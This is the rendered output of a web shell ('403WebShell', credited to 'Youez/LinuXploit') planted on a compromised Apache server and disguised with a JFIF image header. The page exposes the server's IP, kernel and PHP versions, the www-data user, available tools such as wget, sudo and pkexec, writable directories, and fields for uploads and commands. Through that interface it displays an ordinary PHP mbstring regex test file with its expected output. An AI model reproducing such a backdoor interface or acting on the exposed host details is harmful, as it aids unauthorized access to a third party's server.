????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.118.171.161
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/mbstring/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/mbstring/tests/mb_ereg_variation6.phpt
--TEST--
Test mb_ereg() function : usage variations - match special characters
--SKIPIF--
<?php
extension_loaded('mbstring') or die('skip');
function_exists('mb_ereg') or die("skip mb_ereg() is not available in this build");
?>
--FILE--
<?php
/* Prototype  : int mb_ereg(string $pattern, string $string [, array $registers])
 * Description: Regular expression match for multibyte string 
 * Source code: ext/mbstring/php_mbregex.c
 */

/*
 * Test how mb_ereg() matches special characters for $pattern
 */

echo "*** Testing mb_ereg() : usage variations ***\n";

if(mb_regex_encoding('utf-8') == true) {
	echo "Regex encoding set to utf-8\n";
} else {
	echo "Could not set regex encoding to utf-8\n";
}

$regex_char = array ('\w+' => b'\w+', 
                     '\W+' => b'\W+', 
                     '\s+' => b'\s+', 
                     '\S+' => b'\S+', 
                     '\d+' => b'\d+', 
                     '\D+' => b'\D+', 
                     '\b' =>  b'\b', 
                     '\B' =>  b'\B');

$string_ascii = b'This is an English string. 0123456789.';
$string_mb = base64_decode('5pel5pys6Kqe44OG44Kt44K544OI44Gn44GZ44CCMDEyMzTvvJXvvJbvvJfvvJjvvJnjgII=');

foreach ($regex_char as $displayChar => $char) {
	echo "\n--** Pattern is: $displayChar **--\n";
	if (@$regs_ascii || @$regs_mb) {
		$regs_ascii = null;
		$regs_mb = null;
	}
	echo "-- ASCII String: --\n";
	var_dump(mb_ereg($char, $string_ascii, $regs_ascii));
	base64_encode_var_dump($regs_ascii);

	echo "-- Multibyte String: --\n";
	var_dump(mb_ereg($char, $string_mb, $regs_mb));
	base64_encode_var_dump($regs_mb);

}

/**
 * replicate a var dump of an array but outputted string values are base64 encoded
 *
 * @param array $regs
 */
function base64_encode_var_dump($regs) {
	if ($regs) {
		echo "array(" . count($regs) . ") {\n";
		foreach ($regs as $key => $value) {
			echo "  [$key]=>\n  ";
			if (is_string($value)) {
				var_dump(base64_encode($value));
			} else {
				var_dump($value);
			}
		}
		echo "}\n";
	} else {
		echo "NULL\n";
	}
}

echo "Done";

?>
--EXPECT--
*** Testing mb_ereg() : usage variations ***
Regex encoding set to utf-8

--** Pattern is: \w+ **--
-- ASCII String: --
int(4)
array(1) {
  [0]=>
  string(8) "VGhpcw=="
}
-- Multibyte String: --
int(27)
array(1) {
  [0]=>
  string(36) "5pel5pys6Kqe44OG44Kt44K544OI44Gn44GZ"
}

--** Pattern is: \W+ **--
-- ASCII String: --
int(1)
array(1) {
  [0]=>
  string(4) "IA=="
}
-- Multibyte String: --
int(3)
array(1) {
  [0]=>
  string(4) "44CC"
}

--** Pattern is: \s+ **--
-- ASCII String: --
int(1)
array(1) {
  [0]=>
  string(4) "IA=="
}
-- Multibyte String: --
bool(false)
NULL

--** Pattern is: \S+ **--
-- ASCII String: --
int(4)
array(1) {
  [0]=>
  string(8) "VGhpcw=="
}
-- Multibyte String: --
int(53)
array(1) {
  [0]=>
  string(72) "5pel5pys6Kqe44OG44Kt44K544OI44Gn44GZ44CCMDEyMzTvvJXvvJbvvJfvvJjvvJnjgII="
}

--** Pattern is: \d+ **--
-- ASCII String: --
int(10)
array(1) {
  [0]=>
  string(16) "MDEyMzQ1Njc4OQ=="
}
-- Multibyte String: --
int(20)
array(1) {
  [0]=>
  string(28) "MDEyMzTvvJXvvJbvvJfvvJjvvJk="
}

--** Pattern is: \D+ **--
-- ASCII String: --
int(27)
array(1) {
  [0]=>
  string(36) "VGhpcyBpcyBhbiBFbmdsaXNoIHN0cmluZy4g"
}
-- Multibyte String: --
int(30)
array(1) {
  [0]=>
  string(40) "5pel5pys6Kqe44OG44Kt44K544OI44Gn44GZ44CC"
}

--** Pattern is: \b **--
-- ASCII String: --
int(1)
array(1) {
  [0]=>
  bool(false)
}
-- Multibyte String: --
int(1)
array(1) {
  [0]=>
  bool(false)
}

--** Pattern is: \B **--
-- ASCII String: --
int(1)
array(1) {
  [0]=>
  bool(false)
}
-- Multibyte String: --
int(1)
array(1) {
  [0]=>
  bool(false)
}
Done

Youez - 2016 - github.com/yon3zu
LinuXploit